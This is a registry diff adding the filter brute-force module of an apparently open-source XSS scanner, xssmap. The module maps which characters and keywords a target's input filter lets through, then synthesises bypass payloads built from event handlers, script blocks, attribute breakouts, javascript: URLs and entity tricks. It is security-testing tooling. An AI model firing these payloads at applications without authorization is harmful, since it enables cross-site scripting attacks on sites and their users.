xssmap 2.8.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
xssmap/brute.py ADDED
@@ -0,0 +1,563 @@
1
+ """Character-level filter brute force and payload synthesis.
2
+
3
+ The ordinary filter profile sends one probe containing every interesting
4
+ character and reads what came back. That is cheap, but it has a blind spot: a
5
+ filter that rejects the *whole* value because of one character tells you
6
+ nothing about the other characters, and a filter that strips `(` can make an
7
+ otherwise perfect payload fail.
8
+
9
+ This module asks the question one character at a time — marker + char + marker,
10
+ so a surviving character is visible even when its neighbours would have been
11
+ rejected — and then *synthesises* payloads that use only what survived. The
12
+ result is not a bypass generator with a fixed script: it is a small constraint
13
+ solver over the characters the application actually allows.
14
+
15
+ Cost is bounded (``max_requests``) and the caller decides when it is worth
16
+ spending: it runs only after a reflection was found and the normal ladder
17
+ failed, which is exactly the point where extra requests buy information.
18
+ """
19
+ from __future__ import annotations
20
+
21
+ from dataclasses import dataclass, field
22
+
23
+ from . import contexts
24
+
25
+ # The characters that matter for building a working HTML/JS payload. Order is
26
+ # by usefulness so a truncated run still answers the important questions.
27
+ PROBE_CHARS = "<>\"'`()/ =;&#\t\\{}[]$:.+-_"
28
+
29
+ # How frameworks and sanitisers spell a character when they encode rather than
30
+ # strip it. Presence of any form means the character survives as data.
31
+ ENCODED_FORMS = {
32
+ "<": ("&lt;", "&#60;", "&#x3c;"),
33
+ ">": ("&gt;", "&#62;", "&#x3e;"),
34
+ '"': ("&quot;", "&#34;", "&#x22;"),
35
+ "'": ("&#39;", "&#x27;", "&apos;"),
36
+ "&": ("&amp;", "&#38;", "&#x26;"),
37
+ "(": ("&#40;", "&#x28;"),
38
+ ")": ("&#41;", "&#x29;"),
39
+ "/": ("&#47;", "&#x2f;"),
40
+ "=": ("&#61;", "&#x3d;"),
41
+ "`": ("&#96;", "&#x60;"),
42
+ "\\": ("&#92;", "&#x5c;"),
43
+ }
44
+
45
+ # Sinks that fire without user interaction, in order of how often they are
46
+ # allowed through a sanitiser.
47
+ EVENTS = ("onload", "onerror", "onfocus", "onpointerover", "ontoggle",
48
+ "onanimationstart", "onbegin")
49
+
50
+ FUNCTIONS = ("alert", "confirm", "prompt", "print")
51
+
52
+ # Keyword probes, ordered by how much a synthesised payload needs them: the
53
+ # function call and the event handler come first, because a vector without
54
+ # either cannot fire. Only the low-``""``-frequency words are probed last.
55
+ PROBE_WORDS = ("alert", "onload", "onerror", "onfocus", "svg", "confirm",
56
+ "ontoggle", "onanimationstart", "onpointerover", "prompt",
57
+ "script", "onbegin", "print")
58
+
59
+ # Contexts where a synthesised payload can actually run live in contexts.py;
60
+ # this alias exists so callers and tests keep one import. A reflection in JSON,
61
+ # plain text, a header or a CSS value is not executable, and reporting it as
62
+ # XSS would be a false positive, so the stage refuses those.
63
+ EXECUTABLE_CONTEXTS = contexts.EXECUTABLE_CONTEXTS
64
+ RAWTEXT_CONTEXTS = contexts.RAWTEXT_CONTEXTS
65
+
66
+ # Substrings whose ban changes what a payload can look like. A filter that blocks
67
+ # "<script" but allows "<svg" is a different problem from one that blocks "<".
68
+ PROBE_PAIRS = ("<script", "</script", "<svg", "onerror=", "onload=",
69
+ "javascript:", "<>", '"><', "=(", "(){}")
70
+
71
+
72
+ @dataclass
73
+ class CharMap:
74
+ """What happened to each probed character: raw, encoded, stripped, unknown."""
75
+
76
+ chars: dict[str, str] = field(default_factory=dict)
77
+ requests: int = 0
78
+ marker_ok: bool = True
79
+
80
+ def state(self, ch: str) -> str:
81
+ return self.chars.get(ch, "unknown")
82
+
83
+ def raw(self, ch: str) -> bool:
84
+ return self.state(ch) == "raw"
85
+
86
+ def encoded(self, ch: str) -> bool:
87
+ return self.state(ch) == "encoded"
88
+
89
+ def present(self, ch: str) -> bool:
90
+ return self.state(ch) in ("raw", "encoded")
91
+
92
+ def allows(self, *chars: str) -> bool:
93
+ """True only when every character is known to survive unencoded."""
94
+ return all(self.raw(ch) for ch in chars)
95
+
96
+ def any_form(self, *chars: str) -> bool:
97
+ return all(self.present(ch) for ch in chars)
98
+
99
+ @property
100
+ def stripped(self) -> list[str]:
101
+ return [ch for ch, state in self.chars.items() if state == "stripped"]
102
+
103
+ @property
104
+ def known(self) -> bool:
105
+ return any(state != "unknown" for state in self.chars.values())
106
+
107
+ def describe(self) -> str:
108
+ if not self.known:
109
+ return "filter brute force: no characters probed"
110
+ raw = "".join(ch for ch in self.chars if self.chars[ch] == "raw")
111
+ gone = "".join(self.stripped)
112
+ bits = [f"filter brute force: {self.requests} probe(s)"]
113
+ if raw:
114
+ bits.append(f"survive raw: {raw!r}")
115
+ if gone:
116
+ bits.append(f"stripped: {gone!r}")
117
+ encoded = "".join(ch for ch in self.chars if self.chars[ch] == "encoded")
118
+ if encoded:
119
+ bits.append(f"entity-encoded: {encoded!r}")
120
+ return "; ".join(bits)
121
+
122
+ def as_dict(self) -> dict:
123
+ return {"chars": dict(self.chars), "requests": self.requests,
124
+ "marker_reflected": self.marker_ok}
125
+
126
+
127
+ @dataclass
128
+ class Synthetic:
129
+ """A payload built from characters the target is known to keep."""
130
+
131
+ name: str
132
+ template: str
133
+ js: str = ""
134
+
135
+ def render(self, marker: str, js: str | None = None) -> str:
136
+ """Render for sending, or with the verifier's JS when ``js`` is given."""
137
+ body = self.js if js is None else js
138
+ return self.template.replace("{JS}", body.replace("{M}", marker))
139
+
140
+ def as_dict(self) -> dict:
141
+ return {"name": self.name, "template": self.template, "js": self.js}
142
+
143
+
144
+ def map_chars(send, marker: str, chars: str | None = None,
145
+ max_requests: int = 24, log=None) -> CharMap:
146
+ """Probe each character individually: ``marker + char + marker``.
147
+
148
+ ``send(value)`` returns a Response-like object with ``text``. The first
149
+ probe is the bare marker, so a point that does not reflect at all exits
150
+ after one request instead of twenty-four.
151
+ """
152
+ out = CharMap()
153
+ chars = chars or PROBE_CHARS
154
+ try:
155
+ head = send(marker)
156
+ except Exception:
157
+ return out
158
+ out.requests += 1
159
+ body = getattr(head, "text", "") or ""
160
+ if marker not in body:
161
+ out.marker_ok = False
162
+ return out
163
+ for ch in chars:
164
+ if out.requests >= max_requests:
165
+ break
166
+ probe = f"{marker}{ch}{marker}"
167
+ try:
168
+ resp = send(probe)
169
+ except Exception:
170
+ continue
171
+ out.requests += 1
172
+ text = getattr(resp, "text", "") or ""
173
+ if probe in text:
174
+ out.chars[ch] = "raw"
175
+ elif any(f"{marker}{form}{marker}" in text
176
+ for form in ENCODED_FORMS.get(ch, ())):
177
+ out.chars[ch] = "encoded"
178
+ elif marker in text:
179
+ out.chars[ch] = "stripped"
180
+ else:
181
+ # The whole value vanished for this probe: the character is not the
182
+ # problem, the point stopped reflecting. Leave it unknown.
183
+ out.chars[ch] = "unknown"
184
+ if log and out.known:
185
+ log.debug(f" {out.describe()}")
186
+ return out
187
+
188
+
189
+ def _case_forms(word: str) -> tuple[str, ...]:
190
+ """Spellings to try for a keyword, cheapest first.
191
+
192
+ A filter that blocks ``onerror`` usually matches case-sensitively, while the
193
+ HTML parser and the JS engine do not care about case at all. Probing only the
194
+ lowercase spelling therefore reports "keyword blocked" for filters that a
195
+ one-character case change walks straight past.
196
+ """
197
+ forms = [word]
198
+ swapped = "".join(c.upper() if i % 2 else c.lower() for i, c in enumerate(word))
199
+ if swapped != word:
200
+ forms.append(swapped)
201
+ upper = word.upper()
202
+ if upper not in forms:
203
+ forms.append(upper)
204
+ return tuple(forms)
205
+
206
+
207
+ def keyword_forms(send, marker: str,
208
+ words: tuple[str, ...] = PROBE_WORDS,
209
+ max_requests: int = 8, log=None) -> dict[str, str]:
210
+ """Map each keyword to a spelling that survives, or ``""`` if none does.
211
+
212
+ Returns the *working form* rather than a boolean so the synthesizer can emit
213
+ ``OnErRoR`` when that is what the filter allows, instead of silently giving up
214
+ on a keyword that is only blocked in one casing.
215
+ """
216
+ forms: dict[str, str] = {}
217
+ spent = 0
218
+ for word in words:
219
+ for form in _case_forms(word):
220
+ if spent >= max_requests:
221
+ return forms
222
+ probe = f"{marker}{form}{marker}"
223
+ try:
224
+ resp = send(probe)
225
+ except Exception:
226
+ continue
227
+ spent += 1
228
+ text = getattr(resp, "text", "") or ""
229
+ if marker not in text:
230
+ continue # point stopped reflecting: unknown, not blocked
231
+ if form in text:
232
+ forms[word] = form
233
+ break
234
+ forms.setdefault(word, "")
235
+ if log:
236
+ blocked = [w for w, form in forms.items() if not form]
237
+ recased = [f"{w}->{form}" for w, form in forms.items() if form and form != w]
238
+ if recased:
239
+ log.debug(f" keyword casing needed: {', '.join(recased)}")
240
+ if blocked:
241
+ log.debug(f" keywords blocked in every casing: {', '.join(blocked)}")
242
+ return forms
243
+
244
+
245
+ def map_keywords(send, marker: str, words: tuple[str, ...] = PROBE_WORDS,
246
+ max_requests: int = 8, log=None) -> dict[str, bool]:
247
+ """Boolean view of :func:`keyword_forms` (True = usable in some casing)."""
248
+ forms = keyword_forms(send, marker, words, max_requests, log)
249
+ return {word: bool(form) for word, form in forms.items()}
250
+
251
+
252
+ def map_pairs(send, marker: str, pairs: tuple[str, ...] = PROBE_PAIRS,
253
+ max_requests: int = 10, log=None) -> dict[str, bool]:
254
+ """Probe multi-character sequences, which single characters cannot reveal.
255
+
256
+ ``<`` surviving on its own says nothing about ``<script`` being blocked as a
257
+ token, and that difference decides whether a payload should use ``<svg`` or a
258
+ script block. True means the sequence came back verbatim.
259
+ """
260
+ out: dict[str, bool] = {}
261
+ spent = 0
262
+ for pair in pairs:
263
+ if spent >= max_requests:
264
+ break
265
+ probe = f"{marker}{pair}{marker}"
266
+ try:
267
+ resp = send(probe)
268
+ except Exception:
269
+ continue
270
+ spent += 1
271
+ text = getattr(resp, "text", "") or ""
272
+ if marker not in text:
273
+ continue
274
+ out[pair] = probe in text
275
+ if log:
276
+ banned = [p for p, ok in out.items() if not ok]
277
+ if banned:
278
+ log.debug(f" blocked sequences: {', '.join(banned)}")
279
+ return out
280
+
281
+
282
+ def detect_truncation(send, marker: str, max_requests: int = 7,
283
+ log=None) -> int:
284
+ """Find the length at which the target starts cutting the value.
285
+
286
+ Returns the number of characters that survive (0 = no truncation seen). Many
287
+ real filters cut at a fixed buffer size; a payload silently cut in half looks
288
+ exactly like a payload whose characters were stripped, and the two need
289
+ completely different next steps.
290
+ """
291
+ def survives(length: int) -> bool | None:
292
+ filler = "A" * length
293
+ probe = f"{marker}{filler}{marker}"
294
+ try:
295
+ resp = send(probe)
296
+ except Exception:
297
+ return None
298
+ text = getattr(resp, "text", "") or ""
299
+ if marker not in text:
300
+ return None
301
+ return probe in text
302
+
303
+ spent = 0
304
+ lo, hi = 8, 2048
305
+ first_ok = survives(lo)
306
+ spent += 1
307
+ if first_ok is None or not first_ok:
308
+ return 0
309
+ last_ok = lo
310
+ if spent < max_requests:
311
+ top = survives(hi)
312
+ spent += 1
313
+ if top:
314
+ return 0 # 2 KB goes through: not truncating
315
+ while spent < max_requests and hi - lo > 8:
316
+ mid = (lo + hi) // 2
317
+ verdict = survives(mid)
318
+ spent += 1
319
+ if verdict is None:
320
+ break
321
+ if verdict:
322
+ lo = mid
323
+ last_ok = max(last_ok, mid)
324
+ else:
325
+ hi = mid
326
+ cut = 0 if last_ok >= hi - 8 and hi >= 2048 else last_ok
327
+ if log and cut:
328
+ log.debug(f" value truncated near {cut} characters")
329
+ return int(cut)
330
+
331
+
332
+ def _pick_quote(chars: CharMap) -> str:
333
+ for quote in ('"', "'", "`"):
334
+ if chars.raw(quote):
335
+ return quote
336
+ return ""
337
+
338
+
339
+ def _pick_function(words: dict[str, bool]) -> str:
340
+ """A callable the filter allows in some casing, or "" when none is left.
341
+
342
+ Falling back to ``alert`` when every candidate was probed and blocked is how
343
+ a synthesised vector ends up containing the very word the filter drops.
344
+ """
345
+ for name in FUNCTIONS:
346
+ if words.get(name, True): # not probed counts as allowed
347
+ return name
348
+ return ""
349
+
350
+
351
+ def _pick_event(words: dict[str, bool]) -> str:
352
+ for name in EVENTS:
353
+ if words.get(name, True):
354
+ return name
355
+ return ""
356
+
357
+
358
+ def _form(forms: dict[str, str] | None, name: str) -> str:
359
+ """The spelling of *name* that survived the filter, or "" if none did.
360
+
361
+ ``forms`` only holds a key once the word was probed: a missing key means the
362
+ probe budget ran out, so the plain spelling is still worth trying. A key
363
+ mapped to ``""`` means every casing was blocked and the word is unusable.
364
+ """
365
+ if not forms or not name or name not in forms:
366
+ return name
367
+ return forms[name]
368
+
369
+
370
+ def _invocation(fn: str, marker: str, chars: CharMap) -> str:
371
+ """A call to ``fn`` built only from surviving punctuation."""
372
+ quote = _pick_quote(chars)
373
+ argument = f"{quote}{marker}{quote}" if quote else "1"
374
+ if chars.allows("(", ")"):
375
+ return f"{fn}({argument})"
376
+ if chars.raw("`"):
377
+ # Tagged template: alert`marker` calls the function with an array.
378
+ return f"{fn}`{marker}`"
379
+ if chars.allows("&", "#", ";"):
380
+ # The HTML parser decodes entities inside an attribute value before the
381
+ # JS engine sees it, so entity-encoded parentheses are still a call.
382
+ return f"{fn}&#40;{argument.lstrip('-')}&#41;"
383
+ return ""
384
+
385
+
386
+ def _markup(js: str, chars: CharMap, words: dict[str, bool],
387
+ forms: dict[str, str] | None = None) -> list[tuple[str, str]]:
388
+ """Tag/attribute constructions whose punctuation survives the filter."""
389
+ if not js or not chars.allows("<", ">"):
390
+ return []
391
+ event = _form(forms, _pick_event(words))
392
+ tag = _form(forms, "svg") if words.get("svg", True) else _form(forms, "img")
393
+ handler_ok = bool(event and tag)
394
+ out: list[tuple[str, str]] = []
395
+ if handler_ok and chars.raw("="):
396
+ if chars.raw(" "):
397
+ out.append((f"{tag}-space", f"<{tag} {event}={js}>"))
398
+ if chars.raw("/"):
399
+ out.append((f"{tag}-slash", f"<{tag}/{event}={js}>"))
400
+ if chars.raw("\t"):
401
+ out.append((f"{tag}-tab", f"<{tag}\t{event}={js}>"))
402
+ # A script block needs no event handler, so it survives the case where every
403
+ # handler name was blocked.
404
+ if chars.allows("/", "<", ">"):
405
+ out.append(("script-block", f"<script>{js}</script>"))
406
+ if handler_ok and chars.allows("&", "#", ";") and chars.raw("=") and chars.raw(" "):
407
+ out.append((f"{tag}-entity-eq", f"<{tag} {event}&#61;{js}>"))
408
+ return out
409
+
410
+
411
+ def _quote_for(context: str) -> str:
412
+ return contexts.break_quote(context)
413
+
414
+
415
+ RAWTEXT_CLOSE = contexts.RAWTEXT_CONTEXTS
416
+
417
+
418
+ def _dedupe(items: list[Synthetic]) -> list[Synthetic]:
419
+ out: list[Synthetic] = []
420
+ seen: set[str] = set()
421
+ for item in items:
422
+ key = item.template + "|" + item.js
423
+ if key in seen:
424
+ continue
425
+ seen.add(key)
426
+ out.append(item)
427
+ return out
428
+
429
+
430
+ def _banned_hit(vector: Synthetic, marker: str, banned: tuple[str, ...]) -> bool:
431
+ """True when a vector contains a sequence the target blocks.
432
+
433
+ A blocked sequence is worse than a blocked character: no amount of
434
+ reassembly helps if ``onerror=`` itself never survives, so vectors that need
435
+ it are dropped rather than sent and counted as failures.
436
+ """
437
+ if not banned:
438
+ return False
439
+ rendered = vector.template.replace("{JS}", vector.js.replace("{M}", marker))
440
+ return any(seq and seq in rendered for seq in banned)
441
+
442
+
443
+ def synthesise(chars: CharMap, words: dict[str, bool] | None = None,
444
+ marker: str = "xs1",
445
+ context: str = "html_text",
446
+ forms: dict[str, str] | None = None,
447
+ banned: tuple[str, ...] = ()) -> list[Synthetic]:
448
+ """Build payloads from the surviving character set, best first.
449
+
450
+ Returns templates with ``{JS}``/``{M}`` slots so the scanner can render
451
+ them with the marker it is already tracking for that point. ``context`` is
452
+ the reflection context: a payload that breaks out of an attribute or a JS
453
+ string needs the matching quote, which a payload aimed at HTML text does
454
+ not. Building for the wrong context is how a filter brute forcer ends up
455
+ with a list of strings the page never executes.
456
+ """
457
+ words = words or {}
458
+ if not chars.known:
459
+ return []
460
+ fn = _form(forms, _pick_function(words))
461
+ if not fn:
462
+ return [] # every callable was probed and blocked
463
+ js = _invocation(fn, "{M}", chars)
464
+ if not js:
465
+ return []
466
+ # Templates keep a {JS} slot so the browser verifier can swap in its own
467
+ # DOM-probe script; the concrete call travels alongside as ``js``.
468
+ markup = _markup("{JS}", chars, words, forms)
469
+
470
+ quote = _quote_for(context)
471
+ if quote and not chars.raw(quote):
472
+ return []
473
+
474
+ if context in ("js_string_double", "js_string_single", "js_template"):
475
+ out = [Synthetic("js-breakout", f"{quote};{{JS}}//", js)]
476
+ if context == "js_template" and chars.allows("$", "{", "}"):
477
+ out.append(Synthetic("js-template-inject", "${{" + "{JS}" + "}}", js))
478
+ return [v for v in _dedupe(out) if not _banned_hit(v, marker, banned)]
479
+
480
+ if context in ("attr_double", "attr_single"):
481
+ out = []
482
+ # Staying inside the tag needs no angle brackets at all: close the
483
+ # quoted value, add an event handler and let autofocus fire it.
484
+ if chars.allows(" ", "=", quote):
485
+ inner = js
486
+ if quote in inner:
487
+ # The handler lives inside a quoted attribute, so the call's
488
+ # own quotes must be entity-encoded or the tag ends early.
489
+ if chars.allows("&", ";"):
490
+ inner = inner.replace(
491
+ quote, "&quot;" if quote == '"' else "&#39;")
492
+ elif chars.allows("(", ")") and quote not in f"{fn}(1)":
493
+ inner = f"{fn}(1)"
494
+ else:
495
+ inner = ""
496
+ if inner:
497
+ out.append(Synthetic(
498
+ "attr-event",
499
+ f"{quote} onfocus={quote}{{JS}}{quote} autofocus={quote}{quote}",
500
+ inner))
501
+ if chars.raw(">"):
502
+ out.extend(Synthetic(name, f"{quote}>{template}", js)
503
+ for name, template in markup)
504
+ return [v for v in _dedupe(out) if not _banned_hit(v, marker, banned)]
505
+
506
+ if context == "url_attr":
507
+ out = []
508
+ if (chars.raw(":") and words.get("javascript", True)
509
+ and (chars.allows("(", ")") or chars.raw("`"))):
510
+ url_js = _invocation(fn, "{M}", chars)
511
+ if url_js:
512
+ out.append(Synthetic("javascript-url", "javascript:{JS}", url_js))
513
+ for boundary in ('"', "'"):
514
+ if chars.raw(boundary) and chars.raw(">"):
515
+ out.extend(Synthetic(name, f"{boundary}>{template}", js)
516
+ for name, template in markup)
517
+ return [v for v in _dedupe(out) if not _banned_hit(v, marker, banned)]
518
+
519
+ if context == "comment":
520
+ return [v for v in _dedupe([Synthetic(name, ">" + template, js)
521
+ for name, template in markup])
522
+ if not _banned_hit(v, marker, banned)]
523
+
524
+ if context in RAWTEXT_CLOSE:
525
+ if not chars.allows("<", ">", "/"):
526
+ return []
527
+ close = f"</{context}>"
528
+ return [v for v in _dedupe([Synthetic(name, close + template, js)
529
+ for name, template in markup])
530
+ if not _banned_hit(v, marker, banned)]
531
+
532
+ out = [Synthetic(name, template, js) for name, template in markup]
533
+ # A URL attribute (`href`, `src`, `formaction`) accepts javascript: even
534
+ # when markup characters are stripped; the caller decides whether the
535
+ # context makes that meaningful because the same payload is harmless text
536
+ # elsewhere.
537
+ if (chars.raw(":") and words.get("javascript", True)
538
+ and (chars.allows("(", ")") or chars.raw("`"))):
539
+ url_js = _invocation(fn, "{M}", chars)
540
+ if url_js:
541
+ out.append(Synthetic("javascript-url", "javascript:{JS}", url_js))
542
+ return [v for v in _dedupe(out) if not _banned_hit(v, marker, banned)]
543
+
544
+
545
+ def summary(chars: CharMap, words: dict[str, bool] | None = None,
546
+ context: str = "html_text", forms: dict[str, str] | None = None,
547
+ blocked: dict[str, bool] | None = None,
548
+ truncation: int = 0) -> dict:
549
+ """Report-friendly view of what the filter allows."""
550
+ words = words or {}
551
+ return {
552
+ "chars": dict(chars.chars),
553
+ "requests": chars.requests,
554
+ "marker_reflected": chars.marker_ok,
555
+ "keywords": dict(words),
556
+ "keyword_forms": dict(forms or {}),
557
+ "blocked_sequences": [seq for seq, ok in (blocked or {}).items() if not ok],
558
+ "truncation": truncation,
559
+ "stripped": chars.stripped,
560
+ "synthesised": [s.as_dict() for s in synthesise(
561
+ chars, words, context=context, forms=forms,
562
+ banned=tuple(seq for seq, ok in (blocked or {}).items() if not ok))],
563
+ }